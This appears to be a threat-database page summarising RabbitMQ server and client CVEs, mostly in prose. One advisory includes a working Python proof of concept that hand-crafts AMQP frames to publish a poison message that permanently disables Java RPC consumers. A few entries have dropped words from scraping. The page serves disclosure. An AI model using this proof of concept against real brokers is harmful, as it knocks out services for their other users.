Threat database

CVE-2026-67418 is a medium severity vulnerability in rabbitmq-server affecting MQTT 5 parser versions from 3.13.0 up to but not including 3.13.19, and several 4.x versions before specified patch releases. It involves improper validation of the Request-Problem-Information property in PUBLISH packets, which is only valid for CONNECT packets. An authenticated publisher with topic write permission can cause a subscriber's MQTT or Web MQTT connection to close unexpectedly due to an unhandled exception during serialization. The broker and publisher remain available, and no denial of service beyond connection closure or message replay occurs. Fixed versions are 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5.

CVE-2026-67414 is a medium severity vulnerability in rabbitmq-server affecting versions prior to 4.0.24, 4.1.15, 4.2.10, and 4.3.4. It allows a low-privilege client to cause uncontrolled resource consumption by sending specially crafted AMQP 1.0 arrays with zero-width constructors after SASL authentication. This can lead to excessive memory usage, triggering node-wide memory alarms, blocking publishers, or exhausting broker memory. The issue has been fixed in the specified versions.

CVE-2026-67416 is an improper input validation vulnerability in the AMQP 1.0 server_mode parser of rabbitmq-server versions 4.0.0 up to but not including 4.0.24, 4.1.15, 4.2.10, and 4.3.4. An authenticated AMQP 1.0 publisher with write permission can submit a crafted descriptor that causes RabbitMQ to misclassify message bodies, leading to consumer termination during decoding. The broker remains operational and routing or authorization is not bypassed. This issue is fixed in versions 4.0.24, 4.1.15, 4.2.10, and 4.3.4.

amqp091-go is a Go AMQP 0.9.1 client. From 1.13.0 until 1.14.0, the frame-size mitigation from the prior allocation advisory can be bypassed before connection.tune completes because Connection.maxFrameSize uses zero for both the not-yet-negotiated and negotiated-unlimited states. A malicious or compromised AMQP peer can send a short body-frame header with a large declared payload length, causing ReadFrame and the body-frame parser to allocate attacker-selected memory before the payload is received or the frame's protocol state is rejected. The condition is reachable through public Open even when Config.FrameSize is set to the protocol minimum and can cause severe memory pressure, out-of-memory termination, or loss of the client process before authentication completes. This issue is fixed in version 1.14.0.

CVE-2026-106121 is an infinite loop vulnerability in the rabbitmq-java-client library's JSONReader component. When parsing JSON input that ends inside a quoted string or a line comment, the parser loops indefinitely. This can cause either an OutOfMemoryError by filling the heap or a thread pinned at 100% CPU, resulting in denial of service. The issue affects applications using the JSON-RPC-over-AMQP tooling with the default DefaultJsonRpcMapper. The vulnerability is triggered by a single unauthenticated message and impacts availability of the JSON-RPC endpoint.

A vulnerability in the RabbitMQ Java client library prior to version 5.35.0 causes sensitive information, including plaintext usernames and passwords from AMQP URIs, to be included in error messages when URI parsing fails. This can lead to unintended disclosure of broker credentials in logs and monitoring systems. The issue is addressed in version 5.35.0.

### Summary A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel. The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue. In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone. ### Details `ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75 `ValueWriter.writeShortstr` then rejects the result with an unchecked exception: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56 So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected. Two consumption paths are impacted: 1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two. In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue. A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag. ### PoC Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.** 1. Start a broker: ```bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq ``` 2. Publish a message whose `correlation-id` is 255 × `0xFF`: ```python import socket, struct def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a QUEUE = "rpc.poison" s = socket.create_connection(("127.0.0.1", 5672), timeout=10) def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:] s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("en_US")))) cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11) s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison")) # close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE) ``` 3. Run a consumer using the tutorial pattern against `rpc.poison`: ```java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder(

RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5, RabbitMQ OAuth credential refresh retains revoked runtime tags. when an existing AMQP connection refreshes from an OAuth token that grants the impersonator tag to a valid same-username token that no longer grants that tag, RabbitMQ updates the OAuth backend implementation (token/scopes/expiry) but leaves the connection's runtime #user.tags unchanged. rabbitaccesscontrol:checkuserid/2 then still honors the stale impersonator tag, so the connection (including newly opened channels) can continue publishing messages with a foreign AMQP userid after that privilege should have been revoked. A fresh connection using the downgraded token correctly refuses the same publish, proving the defect is stale session state rather than the token Limited to connections that once held impersonator and successfully refresh to a downgraded same-username rabbitauthbackendoauth2 (or an equivalent refresh-capable backend that returns tags) is enabled for This issue is fixed in versions 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5.

CVE-2026-67419 is a high-severity vulnerability in rabbitmq-server prior to version 4.3.5. It involves inefficient algorithmic complexity in topic exchange routing, where an authenticated user with permissions to bind queues and publish messages can exploit consecutive '#' segments in binding keys. This causes excessive CPU and memory usage due to duplicate processing in topic matchers, potentially disrupting message routing for all tenants. The issue is fixed in version 4.3.5.

CVE-2026-67421 is a medium severity vulnerability in RabbitMQ server versions from 3.13.0 up to but not including 3.13.19, and several 4.x versions before specific patched releases. It involves missing authorization in the RabbitMQ Management interface when the OAuth management UI is enabled. An attacker with queue configure permission can cause an authorization error that reveals an attacker-controlled queue name in HTML, potentially allowing a management administrator to inadvertently leak their Authorization header to an attacker-controlled endpoint via a cross-origin request. This issue is fixed in versions 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5.

CVE-2026-67408 is a high-severity vulnerability in rabbitmq-server versions 4.1.0 through before 4.1.11, 4.2.0 through before 4.2.9, and 4.3.0 through before 4.3.3. It allows an authenticated low-privileged management user with access to a vhost but without configure, write, or read permissions to cause uncontrolled resource consumption. By sending a crafted HTTP PUT request to the stream management API with a large binding-keys field, the attacker can force large memory allocations before permission checks occur, potentially causing the RabbitMQ node to crash in memory-limited environments. The issue is fixed in versions 4.1.11, 4.2.9, and 4.3.3.

CVE-2026-67406 is a vulnerability in rabbitmq-server versions prior to 4.3.3, 4.2.9, 4.1.14, and 4.0.23 where the Shovel worker process does not properly format crash logs. This causes plaintext AMQP credentials to be exposed in error logs when the shovel worker crashes, which can happen during network issues. The issue affects multiple version branches and is fixed in the specified patched versions.

CVE-2026-67410 is a vulnerability in RabbitMQ server versions 4.2.0 through 4.2.8 and 4.3.0 through 4.3.2 where the OAuth2 client secret is exposed via an unauthenticated JavaScript endpoint. This occurs when OAuth2 authentication is enabled for the RabbitMQ Management UI and the configured flow uses a client secret. The secret is included in the JavaScript served by the unauthenticated endpoint /js/oidc-oauth/bootstrap.js, allowing any user who can access the management UI port to retrieve it. The issue is fixed in versions 4.2.9 and 4.3.3.

CVE-2026-67227 is a medium severity vulnerability in rabbitmq-server versions from 4.0.0 up to but not including 4.0.22, 4.1.14, 4.2.7, and 4.3.1. It involves uncontrolled resource consumption due to atom exhaustion triggered by a policymaker user making repeated requests to the /api/global-parameters/:name endpoint with unique :name values. This can crash the node by exhausting the atom table. The issue is fixed in versions 4.0.22, 4.1.14, 4.2.7, and 4.3.1.

CVE-2026-67407 is a medium severity vulnerability in rabbitmq-server affecting versions from 4.0.0 up to but not including 4.3.3, 4.2.9, 4.1.14, and 4.0.23. It is a missing authorization issue related to an incomplete fix for a previous vulnerability (CVE-2026-44838). The flaw involves improper escaping of the '-' character in MQTT topic permission templates, allowing a low-privileged authenticated MQTT user to broaden topic read and write permissions by manipulating the clientid in topic permission templates. This issue is fixed in versions 4.3.3, 4.2.9, 4.1.14, and 4.0.23.

CVE-2026-67226 is a medium severity vulnerability in rabbitmq-server affecting versions 4.0.0 up to but not including 4.0.22, 4.1.0 up to but not including 4.1.14, and 4.2.0 up to but not including 4.2.7. It involves uncontrolled resource consumption via an admin-only API endpoint that processes user tags. An administrator can crash the node by submitting a request with approximately one million unique tags. This issue has been fixed in versions 4.0.22, 4.1.14, and 4.2.7.

CVE-2026-67411 is an incorrect authorization vulnerability in rabbitmq-server affecting native MQTT and MQTT over WebSocket when used behind a trusted PROXY Protocol frontend. Versions from 3.13.0 up to but not including 3.13.18, 4.0.0 up to 4.0.23, 4.1.0 up to 4.1.14, 4.2.0 up to 4.2.9, and 4.3.0 up to 4.3.3 are affected. The flaw allows an attacker with valid credentials for a loopback-restricted account to bypass source-address restrictions due to loss of the proxy-derived client address before authentication checks. Password authentication is still required. The issue has been fixed in the specified later versions.

RabbitMQ is a messaging and streaming broker. From 4.0.0 until 4.0.23, 4.1.14, 4.2.9, and 4.3.3, the optional rabbitmq_jms_topic_exchange plugin's x-jms-topic exchange accepted a client-controlled rjms_erlang_selector binding expression whose LIKE evaluator expanded percent and underscore wildcards into overlapping PCRE fragments. It executed those fragments with raw re:run/3 without match or recursion limits, allowing an authenticated tenant that can bind and publish to consume broker scheduler CPU and deny service with pathological selectors. This issue is fixed in versions 4.0.23, 4.1.14, 4.2.9, and 4.3.3.

RabbitMQ is a messaging and streaming broker. From 4.0.0 until 4.3.3, 4.2.9, 4.1.14, and 4.0.23, AMQP 1.0 management GET /bindings exposes full binding topology to any authenticated AMQP user without resource/management permission checks. the AMQP 1.0 HTTP-over-AMQP management endpoint GET /bindings (the rabbitamqpmanagement handler) enumerates bindings between an arbitrary source exchange and destination queue/exchange in the caller's virtual host without performing any resource-level permission check. Unlike every sibling operation in the same module (which call checkresourceaccess / bindingchecks), the GET handler ignores the authenticated User and returns the binding list unchanged. As a result, any authenticated AMQP 1.0 client that can open a management link pair , including users with no management/monitoring/policymaker/administrator tag , can enumerate the complete binding topology (source exchanges, destination queues/exchanges, routing keys, and binding arguments) of the virtual host they can access. The equivalent HTTP management API (GET /api/bindings) Confidentiality impact: a non-management AMQP 1.0 user can enumerate the complete routing topology of any virtual host it can connect to , every (source exchange, destination queue/exchange, routing key, binding arguments) This issue is fixed in versions 4.3.3, 4.2.9, 4.1.14, and 4.0.23.

CVE-2026-67415 is a medium severity vulnerability in rabbitmq-server versions 4.2.0 through 4.2.8 and 4.3.0 through 4.3.2. It involves uncontrolled resource consumption due to the Shovel parameter parser converting attacker-controlled runtime parameters into non-garbage-collected Erlang atoms without proper bounds or allowlist checks. Exploitation requires network access to the Management HTTP API, valid credentials with management and policymaker tags, permission to set Shovel runtime parameters, and enabled shovel plugins. Successful exploitation can exhaust the node-wide atom table, causing denial of service. The issue is fixed in versions 4.2.9 and 4.3.3.